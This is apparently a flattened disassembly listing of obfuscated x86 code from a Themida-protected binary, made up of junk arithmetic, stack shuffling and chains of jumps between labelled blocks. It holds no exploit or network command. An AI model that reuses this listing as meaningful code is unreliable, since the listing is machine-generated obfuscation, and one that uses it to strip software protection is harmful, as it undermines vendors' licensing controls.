loc_56C3B2: ; CODE XREF: Themida_:0055E39Ej mov [esp], edx mov dh, 0Ah shl dh, 3 push 0 sub [esp], dh mov dh, [esp] push ebp jmp loc_5724A1 ; --------------------------------------------------------------------------- loc_56C3CB: ; CODE XREF: Themida_:0056EC89j push edx mov edx, 5F971AFBh jmp loc_5625D0 ; --------------------------------------------------------------------------- loc_56C3D6: ; CODE XREF: Themida_:0055FB36j pop edi pop esi jmp loc_5637BF ; --------------------------------------------------------------------------- loc_56C3DD: ; CODE XREF: Themida_:00561A7Ej shl al, 7 sub al, 0FFh push eax mov al, 44h sub al, 9 inc al neg al dec al jmp loc_563B46 ; --------------------------------------------------------------------------- loc_56C3F2: ; CODE XREF: Themida_:005617D0j mov ecx, 450F6CFDh sub ecx, 79667203h push edi mov edi, 0CBA8FAF6h sub ecx, edi pop edi push ecx pop esi pop ecx push edx mov edx, 9DC39EEh sub ebx, 77533382h add ebx, edx add ebx, 77533382h pop edx add ebx, 9A0795Bh add ebx, esi sub ebx, 9A0795Bh sub ebx, 9DC39EEh push dword ptr [esp] mov esi, [esp] add esp, 4 push esi mov esi, esp add esi, 4 push edx mov edx, 4 add esi, edx pop edx xchg esi, [esp] pop esp push ebx jmp loc_56163F ; --------------------------------------------------------------------------- loc_56C45A: ; CODE XREF: Themida_:0055E438j neg cl and cl, 90h sub cl, 6 add cl, 0E4h sub cl, dh jmp loc_55FCA2 ; --------------------------------------------------------------------------- push small 0AE1h mov [esp], ax mov ah, ch mov ch, [esp+2] mov [esp+2], ah mov ax, [esp] push edi jmp loc_560856 ; --------------------------------------------------------------------------- mov cx, [esp] push eax mov eax, esp jmp loc_5643E9 ; --------------------------------------------------------------------------- loc_56C494: ; CODE XREF: Themida_:0056FBCCj shl esi, 7 neg esi add esi, 0C980ACB6h xor ecx, esi jmp loc_570717 ; --------------------------------------------------------------------------- loc_56C4A6: ; CODE XREF: Themida_:00560585j add dword ptr [esp], 65DF4179h push ebx jmp loc_55F029 ; --------------------------------------------------------------------------- loc_56C4B3: ; CODE XREF: Themida_:00571C90j pop ebp add ebx, esi mov esi, [esp] add esp, 4 push ecx mov ecx, 4 add ebx, ecx mov ecx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_56FF13 ; --------------------------------------------------------------------------- loc_56C4D8: ; CODE XREF: Themida_:00567300j xor [esp], eax xor eax, [esp] jmp loc_55F98E ; --------------------------------------------------------------------------- loc_56C4E3: ; CODE XREF: Themida_:00569189j mov esi, edi jmp loc_570086 ; --------------------------------------------------------------------------- loc_56C4EA: ; CODE XREF: Themida_:0055FDD2j add esp, 4 shr bh, 1 add bh, 18h sub al, bh mov ebx, [esp] push eax mov eax, esp jmp loc_56F4F8 ; --------------------------------------------------------------------------- loc_56C502: ; CODE XREF: Themida_:0055E4CFj add esp, 4 add ebx, edi add ebx, 6CFB1A4Fh sub esp, 4 mov [esp], edx jmp loc_56F413 ; --------------------------------------------------------------------------- loc_56C51B: ; CODE XREF: Themida_:0056760Aj sub ebx, 45360E2Fh sub ebx, esi add ebx, 45360E2Fh xchg ebx, esi mov ebx, [esp] push 7A26h mov [esp], eax mov eax, esp push ebx mov ebx, 620C4D05h xor ebx, 620C4D01h add eax, 4ED61D88h add eax, ebx sub eax, 4ED61D88h jmp loc_563A28 ; --------------------------------------------------------------------------- loc_56C555: ; CODE XREF: Themida_:00567BCEj pop ecx add ecx, 1 xchg ecx, ebx shr ebx, 3 push ecx mov ecx, 2F9E4D22h shl ecx, 5 shr ecx, 5 or ecx, 48C33A17h add ecx, 0B89BBCBh or ebx, ecx pop ecx add ebx, 4FB073DCh jmp loc_56E2B7 ; --------------------------------------------------------------------------- loc_56C584: ; CODE XREF: Themida_:00560FACj mov eax, 7A6C1D9Bh or ebp, eax pop eax not ebp sub ebp, 8101A1FCh add eax, ebp pop ebp jmp loc_56E62C ; --------------------------------------------------------------------------- loc_56C59C: ; CODE XREF: Themida_:00572617j pop ebp add ebx, ecx pop ecx mov eax, [esp] add esp, 4 add ebx, 7C302C5Bh push eax jmp loc_563803 ; --------------------------------------------------------------------------- loc_56C5B5: ; CODE XREF: Themida_:00564D38j pop ecx sub dh, 1Bh jmp loc_56A920 ; --------------------------------------------------------------------------- loc_56C5BE: ; CODE XREF: Themida_:005618DDj push edi jmp loc_562B71 ; --------------------------------------------------------------------------- loc_56C5C4: ; CODE XREF: Themida_:005715C0j shl edx, 8 push eax mov eax, 680724EEh push esi jmp loc_56C2C6 ; --------------------------------------------------------------------------- loc_56C5D3: ; CODE XREF: Themida_:0056CC4Fj mov [esp], esp add dword ptr [esp], 4 jmp loc_5677AB ; --------------------------------------------------------------------------- loc_56C5DF: ; CODE XREF: Themida_:0056530Bj mov edi, 63F772A8h shr edi, 3 xor edi, 40201E4Bh add edi, 0B655CE1h shl edi, 2 sub edi, 3175EEEDh xor edx, edi pop edi jmp loc_560041 ; --------------------------------------------------------------------------- loc_56C604: ; CODE XREF: Themida_:0056CF40j pop ebx jmp loc_56F6D9 ; --------------------------------------------------------------------------- loc_56C60A: ; CODE XREF: Themida_:0055EE03j xor edx, 1D833899h sub edx, 67397DEDh jmp loc_56B9D9 ; --------------------------------------------------------------------------- loc_56C61B: ; CODE XREF: Themida_:00569516j sub ecx, 53A821ADh jmp loc_5664EC ; --------------------------------------------------------------------------- loc_56C626: ; CODE XREF: Themida_:00562BBCj mov bl, 0B9h add al, bl pop bx jmp loc_561301 ; --------------------------------------------------------------------------- loc_56C631: ; CODE XREF: Themida_:00560701j push esi jmp loc_56A7A3 ; --------------------------------------------------------------------------- loc_56C637: ; CODE XREF: Themida_:0056BA61j mov ebp, ecx push dword ptr [esp] pop ecx add esp, 4 sub ebp, 0EDD84D4Bh jmp loc_56BEF0 ; --------------------------------------------------------------------------- loc_56C64B: ; CODE XREF: Themida_:0055FBD3j push edx jmp loc_566193 ; --------------------------------------------------------------------------- loc_56C651: ; CODE XREF: Themida_:00569C7Fj pop esi xor esi, 909C4FA7h xor edx, esi mov esi, [esp] jmp loc_55EE7F ; --------------------------------------------------------------------------- loc_56C662: ; CODE XREF: Themida_:0056857Aj add ebx, ebp mov ebp, [esp] add esp, 4 sub ebx, ebp jmp loc_569E50 ; --------------------------------------------------------------------------- loc_56C674: ; CODE XREF: Themida_:00565331j mov eax, 4 add ebp, eax pop eax add ebp, 4 xchg ebp, [esp] jmp loc_56DDD4 ; --------------------------------------------------------------------------- loc_56C687: ; CODE XREF: Themida_:0056EF6Aj neg eax sub eax, 0EEFDFFFCh add ebp, 66184A84h add ebp, eax sub ebp, 66184A84h pop eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_563FE8 ; --------------------------------------------------------------------------- loc_56C6B1: ; CODE XREF: Themida_:00560382j add [esp+0Ch], edx pop edx add [esp+8], eax push edi jmp loc_56D36B ; --------------------------------------------------------------------------- loc_56C6C0: ; CODE XREF: Themida_:00566D1Bj and eax, ebp push dword ptr [esp] pop ebp add esp, 4 or eax, eax jz loc_571E59 push dword ptr [edi+28h] mov eax, [esp] push ecx jmp loc_56C2E6 ; --------------------------------------------------------------------------- loc_56C6E0: ; CODE XREF: Themida_:0056CADFj mov [esp], edi mov edi, 7943BB9h xor edi, 7943BBDh add ebx, edi pop edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push ebp mov ebp, 32200882h jmp loc_55D9AC ; --------------------------------------------------------------------------- loc_56C712: ; CODE XREF: Themida_:0056A240j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56C717: ; CODE XREF: Themida_:00566C5Dj mov [esp], edx mov dl, 0AAh shl dl, 5 shr dl, 1 push cx mov cl, 0FCh jmp loc_57214C ; --------------------------------------------------------------------------- loc_56C72A: ; CODE XREF: Themida_:00563E1Dj mov [esp], edx mov edx, 2 push 4DDDh mov [esp], edx mov edx, 41022013h sub ecx, edx mov edx, [esp] add esp, 4 add ecx, edx add ecx, 41022013h push dword ptr [esp] pop edx add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56C770: ; CODE XREF: Themida_:00570667j mov bl, 0D9h sub bl, dl jmp loc_56C24F ; --------------------------------------------------------------------------- loc_56C779: ; CODE XREF: Themida_:00567A08j mov eax, 105D166Ch add eax, 38820DFh add edx, eax jmp loc_56740D ; --------------------------------------------------------------------------- loc_56C78A: ; CODE XREF: Themida_:00571F76j xor ebp, 0C9D867E4h or esi, ebp pop ebp and esi, 69B84DF2h add esi, 97D7F622h mov edx, esi pop esi sub edi, 40967278h add edi, edx add edi, 40967278h jmp loc_56753B ; --------------------------------------------------------------------------- loc_56C7B5: ; CODE XREF: Themida_:0056F00Dj push 2691h mov [esp], edi push 4 pop edi add ecx, 69B312D0h sub ecx, 673654DCh sub ecx, edi add ecx, 673654DCh jmp loc_5726C1 ; --------------------------------------------------------------------------- loc_56C7DC: ; CODE XREF: Themida_:0056654Aj mov [esp], eax push esp pop eax add eax, 4 push ebp mov ebp, 70CD0BAAh push ecx mov ecx, 0 sub ecx, ebp mov ebp, ecx jmp loc_56EC5D ; --------------------------------------------------------------------------- loc_56C7FB: ; CODE XREF: Themida_:00560433j pop ecx jmp loc_55DF47 ; --------------------------------------------------------------------------- loc_56C801: ; CODE XREF: Themida_:0056EB86j push ebx jmp loc_5692AE ; --------------------------------------------------------------------------- loc_56C807: ; CODE XREF: Themida_:00566F95j mov ecx, 63F0E70h add eax, ecx jmp loc_568108 ; --------------------------------------------------------------------------- loc_56C813: ; CODE XREF: Themida_:00570ECAj inc eax xor eax, 1CA40A9Ch mov ecx, eax mov eax, [esp] add esp, 4 jmp loc_562251 ; --------------------------------------------------------------------------- loc_56C826: ; CODE XREF: Themida_:00560DB6j add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_5628EF ; --------------------------------------------------------------------------- loc_56C83D: ; CODE XREF: Themida_:0055EDA3j pop eax xor [esp+4], eax mov eax, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], ebp push ecx mov ecx, 75E33E2Bh sub ecx, 0FD30F9A2h mov ebp, ecx pop ecx xor eax, ebp mov ebp, [esp] push ebx push esp jmp loc_55DDF2 ; --------------------------------------------------------------------------- loc_56C876: ; CODE XREF: Themida_:0056F845j push ebx mov bl, 0E8h shl bl, 5 jmp loc_56289A ; --------------------------------------------------------------------------- loc_56C881: ; CODE XREF: Themida_:00565C7Cj xor ecx, 6B157699h push edi mov edi, 41F64C66h sub ecx, edi pop edi jmp loc_56B67B ; --------------------------------------------------------------------------- loc_56C895: ; CODE XREF: Themida_:0056B690j sub ebp, 4BF83E18h shl ebp, 7 neg ebp jmp loc_55FA09 ; --------------------------------------------------------------------------- loc_56C8A5: ; CODE XREF: Themida_:0057049Cj pop esp push edx mov edx, esp jmp loc_570942 ; --------------------------------------------------------------------------- loc_56C8AE: ; CODE XREF: Themida_:0055ECC9j mov [esp], ecx jmp loc_56E739 ; --------------------------------------------------------------------------- loc_56C8B6: ; CODE XREF: Themida_:0055F97Cj or ch, 46h jmp loc_55FAC1 ; --------------------------------------------------------------------------- loc_56C8BE: ; CODE XREF: Themida_:0056E272j pop ebp jmp loc_55EDCD ; --------------------------------------------------------------------------- loc_56C8C4: ; CODE XREF: Themida_:005618ACj push ebp mov ebp, 5F5945E9h add ebp, 540065E0h jmp loc_5725E8 ; --------------------------------------------------------------------------- loc_56C8D5: ; CODE XREF: Themida_:005703D2j add dword ptr [ecx], 1 pop ecx jmp loc_563251 ; --------------------------------------------------------------------------- loc_56C8E1: ; CODE XREF: Themida_:005643EFj mov [esp], ebp push esi push esp pop esi jmp loc_569FA5 ; --------------------------------------------------------------------------- loc_56C8EC: ; CODE XREF: Themida_:0055E842j inc eax xor eax, 167A7B10h add ebp, eax jmp loc_55ECBE ; --------------------------------------------------------------------------- loc_56C8F9: ; CODE XREF: Themida_:0055FC0Ej add edi, 4 xchg edi, [esp] pop esp push edi push esp mov edi, [esp] add esp, 4 push 49C4h mov [esp], ecx mov ecx, 4 sub edi, 45004AC6h add edi, ecx jmp loc_567BD3 ; --------------------------------------------------------------------------- loc_56C925: ; CODE XREF: Themida_:00565475j add esp, 2 push edx mov dl, 0E6h xor dl, 76h xor al, dl pop edx add bl, 0FCh jmp loc_566E5F ; --------------------------------------------------------------------------- mov ax, fs:[edx] push small 476Dh mov [esp], ax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56C94D: ; CODE XREF: Themida_:0056ED05j mov bh, ch pop ecx jmp loc_566FE1 ; --------------------------------------------------------------------------- loc_56C955: ; CODE XREF: Themida_:0056A40Dj sub esi, 2A8765A1h jmp loc_571E9C ; --------------------------------------------------------------------------- loc_56C960: ; CODE XREF: Themida_:005677B3j shr ecx, 7 push eax mov eax, 3CB7502Dh add eax, 1639BDACh and ecx, eax pop eax add ecx, 1D7E6C8Bh push eax mov eax, 0E3E43829h sub ecx, eax jmp loc_572733 ; --------------------------------------------------------------------------- loc_56C984: ; CODE XREF: Themida_:00562F2Aj pop ecx push ecx jmp loc_563163 ; --------------------------------------------------------------------------- loc_56C98B: ; CODE XREF: Themida_:005715CEj mov [esp], ebp mov ebp, 4 sub edx, 255251D5h add edx, 71F83C58h sub edx, 39055DCFh add edx, ebp add edx, 39055DCFh sub edx, 71F83C58h push ecx mov ecx, 255251D5h add edx, ecx pop ecx jmp loc_562C68 ; --------------------------------------------------------------------------- loc_56C9C1: ; CODE XREF: Themida_:00563BDEj xor ecx, 5C34046Fh jmp loc_5647FA ; --------------------------------------------------------------------------- loc_56C9CC: ; CODE XREF: Themida_:00561681j add ebp, 333E84E7h mov eax, ebp pop ebp sub eax, ecx jmp loc_563E81 ; --------------------------------------------------------------------------- loc_56C9DC: ; CODE XREF: Themida_:00572193j xor bh, cl pop cx add dl, bh mov bx, [esp] add esp, 2 sub al, 13h sub al, dl add al, 13h pop edx jmp loc_571E27 ; --------------------------------------------------------------------------- loc_56C9F8: ; CODE XREF: Themida_:00560F22j push ecx jmp loc_56BA6C ; --------------------------------------------------------------------------- loc_56C9FE: ; CODE XREF: Themida_:0056D4EBj sub ebx, 30866D7Ch add ebx, 1E9904EDh jmp loc_55E1F9 ; --------------------------------------------------------------------------- loc_56CA0F: ; CODE XREF: Themida_:0055E58Aj sub edx, ebx sub edx, 651518B4h jmp loc_560B76 ; --------------------------------------------------------------------------- loc_56CA1C: ; CODE XREF: Themida_:0055DD3Fj mov [esp], ax mov ah, 27h xor bh, ah pop ax xor bh, 3 shl bh, 2 sub bh, 0F0h xor al, bh push dword ptr [esp] pop ebx add esp, 4 add bl, 77h sub bl, 59h push ecx mov ch, 3Eh sub bl, 0BCh jmp loc_56D5BD ; --------------------------------------------------------------------------- loc_56CA49: ; CODE XREF: Themida_:0056BAD9j mov edi, 25B77465h add eax, edi pop edi jmp loc_5695E7 ; --------------------------------------------------------------------------- loc_56CA56: ; CODE XREF: Themida_:0056767Cj add esp, 4 push eax push dword ptr [esp+4] jmp loc_568D39 ; --------------------------------------------------------------------------- loc_56CA66: ; CODE XREF: Themida_:005687EDj pop edi sub eax, 3E87203Bh push ebx mov ebx, 30E37D74h sub eax, ebx pop ebx add eax, esi add eax, 30E37D74h sub esp, 4 jmp loc_56368E ; --------------------------------------------------------------------------- loc_56CA87: ; CODE XREF: Themida_:0056E607j xor ebx, [esp] mov esp, [esp] add ebp, 4 push ebp jmp loc_55F961 ; --------------------------------------------------------------------------- loc_56CA96: ; CODE XREF: Themida_:00563768j add al, 6Eh jmp loc_55F607 ; --------------------------------------------------------------------------- loc_56CA9D: ; CODE XREF: Themida_:00571B48j mov [esp], ecx jmp loc_55F1CE ; --------------------------------------------------------------------------- loc_56CAA5: ; CODE XREF: Themida_:0056F872j add ebx, 0F1AA647Eh and edx, ebx pop ebx sub edx, 0C800CCh add edi, 32D628C9h add edi, edx sub edi, 32D628C9h pop edx sub esp, 4 mov [esp], edi jmp loc_567CAA ; --------------------------------------------------------------------------- loc_56CAD1: ; CODE XREF: Themida_:0056691Ej mov ebx, [esp] add esp, 4 push 46ADh jmp loc_56C6E0 ; --------------------------------------------------------------------------- loc_56CAE4: ; CODE XREF: Themida_:0056092Dj push esi mov esi, 63ED7DA2h or esi, 15D40E84h jmp loc_5619FB ; --------------------------------------------------------------------------- loc_56CAF5: ; CODE XREF: Themida_:00567702j pop esi add esp, 4 pop dword ptr [esp] pop esp jmp loc_570A09 ; --------------------------------------------------------------------------- loc_56CB05: ; CODE XREF: Themida_:0056441Bj mov esi, [esp] add esp, 4 push edi mov edi, esi jmp loc_560A32 ; --------------------------------------------------------------------------- loc_56CB13: ; CODE XREF: Themida_:0056AA2Aj sub edi, 66C59114h xor edx, edi pop edi push eax mov eax, 5FAD6FDFh sub ebx, eax pop eax add ebx, edx add ebx, 5FAD6FDFh jmp loc_56BCA5 ; --------------------------------------------------------------------------- loc_56CB32: ; CODE XREF: Themida_:0056C2F8j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax mov eax, 2F6C7E2Ah shl eax, 6 add eax, 4FB6C855h xor ebx, eax mov eax, [esp] add esp, 4 and ebx, 77BD2B8Bh shr ebx, 8 add ebx, 51C61C7Dh add ebx, 66986DCDh sub ebx, 0B8651E67h add ecx, ebx mov ebx, [esp] add esp, 4 jmp loc_562AE7 ; --------------------------------------------------------------------------- loc_56CB82: ; CODE XREF: Themida_:0056610Fj push ebp mov ebp, 318927E0h neg ebp jmp loc_55DD1C ; --------------------------------------------------------------------------- loc_56CB8F: ; CODE XREF: Themida_:00567201j add ebp, edi mov edi, [esp] add esp, 4 inc ebp jmp loc_567E24 ; --------------------------------------------------------------------------- loc_56CB9D: ; CODE XREF: Themida_:0056BD0Dj sub eax, 0FFFFFFFFh shl eax, 7 or eax, 1F697433h jmp loc_5601AA ; --------------------------------------------------------------------------- loc_56CBAD: ; CODE XREF: Themida_:00565CECj xchg edx, ebx not edx xchg edx, ebx xchg ebx, edx push dword ptr [edi+24h] push edx pop dword ptr [edi+24h] pop edx sub esp, 4 jmp loc_56BC14 ; --------------------------------------------------------------------------- loc_56CBC8: ; CODE XREF: Themida_:0056A92Dj sub esp, 4 mov [esp], ebx mov bl, 0D1h inc bl shr bl, 7 dec bl sub bl, 0B0h add al, bl jmp loc_56D0A8 ; --------------------------------------------------------------------------- loc_56CBE4: ; CODE XREF: Themida_:00565DDEj mov [esp], ecx push eax mov ah, 59h jmp loc_569B01 ; --------------------------------------------------------------------------- loc_56CBEF: ; CODE XREF: Themida_:0056BC8Ej sub dword ptr [esp+8], 2CC74608h add dword ptr [esp+8], 7FA46F48h push esi jmp loc_5608F7 ; --------------------------------------------------------------------------- loc_56CC05: ; CODE XREF: Themida_:0056856Aj pop edi not eax or eax, 41132339h not eax push ebx mov ebx, 4F4D2018h dec ebx xor ebx, 18F4361Bh jmp loc_564C72 ; --------------------------------------------------------------------------- loc_56CC21: ; CODE XREF: Themida_:00561D89j mov ebp, 1EEB066Ch jmp loc_571D74 ; --------------------------------------------------------------------------- loc_56CC2B: ; CODE XREF: Themida_:0056163Aj pop esi jmp loc_56D50E ; --------------------------------------------------------------------------- loc_56CC31: ; CODE XREF: Themida_:0056B5DBj push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_56C5D3 ; --------------------------------------------------------------------------- loc_56CC54: ; CODE XREF: Themida_:00564CD9j xor eax, edi push dword ptr [esp] push dword ptr [esp] pop edi sub esp, 4 mov [esp], ebx jmp loc_563EAC ; --------------------------------------------------------------------------- loc_56CC68: ; CODE XREF: Themida_:00570456j mov ebp, esp jmp loc_56D228 ; --------------------------------------------------------------------------- loc_56CC6F: ; CODE XREF: Themida_:005627A1j add edx, 6AEC1B92h jmp loc_565C98 ; --------------------------------------------------------------------------- loc_56CC7A: ; CODE XREF: Themida_:0056611Dj sub esp, 4 mov [esp], esi mov esi, 68A4014Dh or esi, 441F3CC3h and esi, 4525335Ah shr esi, 3 add esi, 0FFFFFFFFh add esi, 6B4D8263h push 3B39h mov [esp], ebp mov ebp, 31ED7A96h xor esi, ebp mov ebp, [esp] add esp, 4 xor esi, 0AD55A2Eh and esi, 1A7B47C5h sub esi, 20C5333Dh dec esi push ecx mov ecx, 284D11A4h neg ecx xor ecx, 0CFE9DD1Dh jmp loc_56E203 ; --------------------------------------------------------------------------- loc_56CCDE: ; CODE XREF: Themida_:0056BD98j mov ebp, 4 add eax, ebp pop ebp jmp loc_566E84 ; --------------------------------------------------------------------------- loc_56CCEB: ; CODE XREF: Themida_:0056A988j sub edi, 4CA0798h add edi, ecx push ebx push ecx mov ecx, 0ECE2A3Ah inc ecx shl ecx, 7 inc ecx xor ecx, 63DF1A19h jmp loc_571227 ; --------------------------------------------------------------------------- loc_56CD0A: ; CODE XREF: Themida_:0055FFF6j push ebp mov ebp, 4 add ebx, ebp push dword ptr [esp] pop ebp jmp loc_56BAF5 ; --------------------------------------------------------------------------- loc_56CD1B: ; CODE XREF: Themida_:0057249Cj pop eax push edx mov edx, 28CF3F94h or edx, 5DA81404h sub edx, 35550E7Bh and edx, 1202752Fh add edx, 0ECBE66C7h add ecx, edx pop edx and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_56E118 ; --------------------------------------------------------------------------- loc_56CD4D: ; CODE XREF: Themida_:0055DFB0j add edi, esi jmp loc_5703E0 ; --------------------------------------------------------------------------- mov cx, [esp] push 4F8Dh jmp loc_563984 ; --------------------------------------------------------------------------- loc_56CD62: ; CODE XREF: Themida_:00563839j sub ebx, eax add ebx, 3520FECh sub ebx, 2E7E0Dh mov eax, [esp] jmp loc_55FE8C ; --------------------------------------------------------------------------- loc_56CD78: ; CODE XREF: Themida_:0056F627j add esp, 4 sub edx, 62682773h add edx, 36E42C10h sub edx, 6DB024F7h jmp loc_55DE22 ; --------------------------------------------------------------------------- loc_56CD92: ; CODE XREF: Themida_:0057096Cj mov ebx, 34373870h add ebx, 57375528h add ebx, 49DD4728h jmp loc_56E24C ; --------------------------------------------------------------------------- loc_56CDA8: ; CODE XREF: Themida_:00564C98j push 3D7Ah mov [esp], eax push esp jmp loc_562E81 ; --------------------------------------------------------------------------- loc_56CDB6: ; CODE XREF: Themida_:0055E352j sub edi, 0F6379F89h jmp loc_5683AC ; --------------------------------------------------------------------------- loc_56CDC1: ; CODE XREF: Themida_:0056A5D8j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56CDC6: ; CODE XREF: Themida_:0056E2F8j add ebp, edx jmp loc_56C168 ; --------------------------------------------------------------------------- loc_56CDCD: ; CODE XREF: Themida_:00564FA9j pop edx add bl, 0F1h jmp loc_569672 ; --------------------------------------------------------------------------- loc_56CDD6: ; CODE XREF: Themida_:005684C6j push ebx mov bl, ch jmp loc_565B96 ; --------------------------------------------------------------------------- loc_56CDDE: ; CODE XREF: Themida_:0055EBD9j sub esi, eax pop eax mov edi, [esp] jmp loc_55D87F ; --------------------------------------------------------------------------- loc_56CDE9: ; CODE XREF: Themida_:0056258Fj pop eax add ebp, ebx pop ebx jmp loc_567D2C ; --------------------------------------------------------------------------- loc_56CDF2: ; CODE XREF: Themida_:00566512j mov eax, esp jmp loc_571451 ; --------------------------------------------------------------------------- loc_56CDF9: ; CODE XREF: Themida_:00569FB5j mov [esp], ecx mov ecx, 2CA430F6h neg ecx not ecx jmp loc_5606C5 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_56A269 ; --------------------------------------------------------------------------- loc_56CE15: ; CODE XREF: Themida_:0056F805j mov ecx, 22AB0FD3h push ebx mov ebx, 22AB0FD7h xor ecx, ebx mov ebx, [esp] add esp, 4 add ebx, ecx pop ecx push edi mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_56BA66 ; --------------------------------------------------------------------------- loc_56CE48: ; CODE XREF: Themida_:00570316j add ebp, 71EC4F28h add ebp, ebx sub ebp, 71EC4F28h push edx mov edx, 560809E9h xor edx, 56403D62h push edi mov edi, 4521652h jmp loc_56493B ; --------------------------------------------------------------------------- lodsd sub eax, 2A5345h push ebp mov ebp, 2B7B374Bh push ecx mov ecx, 1FFC0436h sub ecx, 1313032Ch inc ecx add ecx, 21D2458Ah sub ebp, ecx pop ecx jmp loc_56746F ; --------------------------------------------------------------------------- loc_56CE94: ; CODE XREF: Themida_:00564252j shl ebx, 7 push ebp mov ebp, 1A211133h jmp loc_565336 ; --------------------------------------------------------------------------- loc_56CEA2: ; CODE XREF: Themida_:005698E0j push eax jmp loc_55E546 ; --------------------------------------------------------------------------- loc_56CEA8: ; CODE XREF: Themida_:00561111j shr ebp, 7 xor ebp, 48A80D16h jmp loc_5618CB ; --------------------------------------------------------------------------- loc_56CEB6: ; CODE XREF: Themida_:00560902j xor esi, 27AF0DD7h sub [esp+0Ch], esi pop esi sub [esp+8], ebx add dword ptr [esp+8], 0A1072F0h push edx mov edx, 7FA46F48h sub [esp+0Ch], edx pop edx add dword ptr [esp+8], 2CC74608h jmp loc_565DA4 ; --------------------------------------------------------------------------- loc_56CEE5: ; CODE XREF: Themida_:005691EDj and ebp, 1E694527h add ebp, 1A600AB0h xor ebp, 0BF3450Dh add ebp, 4E531E29h mov esi, ebp mov ebp, [esp] jmp loc_567B66 ; --------------------------------------------------------------------------- loc_56CF07: ; CODE XREF: Themida_:00567320j add ecx, 4FDB590Dh add ecx, edx jmp loc_571563 ; --------------------------------------------------------------------------- loc_56CF14: ; CODE XREF: Themida_:0056B5F0j add [esp+4], edx pop edx pop ecx push edx push ecx jmp loc_56607C ; --------------------------------------------------------------------------- loc_56CF21: ; CODE XREF: Themida_:00565AABj mov ebx, 6B1057B8h jmp loc_55FB03 ; --------------------------------------------------------------------------- loc_56CF2B: ; CODE XREF: Themida_:00560707j push 1410h jmp loc_56999A ; --------------------------------------------------------------------------- loc_56CF35: ; CODE XREF: Themida_:00567377j sub esi, ecx mov ecx, [esp] jmp loc_55F5E5 ; --------------------------------------------------------------------------- loc_56CF3F: ; CODE XREF: Themida_:0055DB03j push esp jmp loc_56C604 ; --------------------------------------------------------------------------- loc_56CF45: ; CODE XREF: Themida_:0056080Ej sub esp, 4 mov [esp], edi jmp loc_56884A ; --------------------------------------------------------------------------- loc_56CF53: ; CODE XREF: Themida_:00565028j mov [esp], ebx mov ebx, 4 add [esp+4], ebx pop ebx pop edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp push edx mov edx, 220524C7h shr edx, 2 sub edx, 8EE1E0B3h mov ebp, edx mov edx, [esp] add esp, 4 jmp loc_56058A ; --------------------------------------------------------------------------- loc_56CF93: ; CODE XREF: Themida_:00568587j add edx, 4 xchg edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_564CDE ; --------------------------------------------------------------------------- mov ax, [esp] push 4F8Ah mov [esp], ebx jmp loc_564F6F ; --------------------------------------------------------------------------- loc_56CFC9: ; CODE XREF: Themida_:005720B9j add edx, 0E807F039h add esi, 62BD3CBEh sub esi, edx sub esi, 62BD3CBEh pop edx add esi, edi jmp loc_56C27C ; --------------------------------------------------------------------------- loc_56CFE5: ; CODE XREF: Themida_:0056AC9Fj push eax mov eax, esp add eax, 4 jmp loc_55F4C8 ; --------------------------------------------------------------------------- loc_56CFF2: ; CODE XREF: Themida_:00561D6Ej xor [esp], edx xor edx, [esp] pop esp jmp loc_5606AE ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_56E8E2 ; --------------------------------------------------------------------------- loc_56D006: ; CODE XREF: Themida_:0056929Cj pop edi pop dword ptr [esp] jmp loc_56AABD ; --------------------------------------------------------------------------- loc_56D00F: ; CODE XREF: Themida_:0056234Bj mov [esp], ecx push 4DB6h push esp jmp loc_570BF6 ; --------------------------------------------------------------------------- loc_56D01D: ; CODE XREF: Themida_:0056E184j add ebp, 4 add ebp, 4 jmp loc_56EFDF ; --------------------------------------------------------------------------- loc_56D02E: ; CODE XREF: Themida_:0055EF5Bj push edx mov edx, 1A3F1DFFh and edx, 4EC83C8Bh and edx, 1C7B7AF7h sub edx, 0C817BB8Ah sub eax, edx jmp loc_55ECA1 ; --------------------------------------------------------------------------- loc_56D04D: ; CODE XREF: Themida_:0056961Aj xor ebp, 5E427DB1h or ebp, 5D131AF9h neg ebp xor ebp, 0A004C003h jmp loc_5616A5 ; --------------------------------------------------------------------------- loc_56D066: ; CODE XREF: Themida_:00562CF7j pop esi sub esi, 1 xor esi, 1EAB7984h jmp loc_56FCDE ; --------------------------------------------------------------------------- loc_56D075: ; CODE XREF: Themida_:0056A785j mov esi, [esp] add esp, 4 neg esi jmp loc_5708CF ; --------------------------------------------------------------------------- loc_56D085: ; CODE XREF: Themida_:0057158Cj mov ch, 6Ah or al, ch mov cx, [esp] add esp, 2 push 7098h mov [esp], ebx mov bh, 6Bh sub bh, 76h push eax mov al, 3Ah sub esp, 4 jmp loc_562B5B ; --------------------------------------------------------------------------- loc_56D0A8: ; CODE XREF: Themida_:0056CBDFj pop ebx jmp loc_571270 ; --------------------------------------------------------------------------- loc_56D0AE: ; CODE XREF: Themida_:00567868j mov ecx, 4 sub eax, 72C178CAh add eax, ecx add eax, 72C178CAh pop ecx add eax, 2 sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push esi jmp loc_5713BD ; --------------------------------------------------------------------------- loc_56D0E1: ; CODE XREF: Themida_:0056EF40j 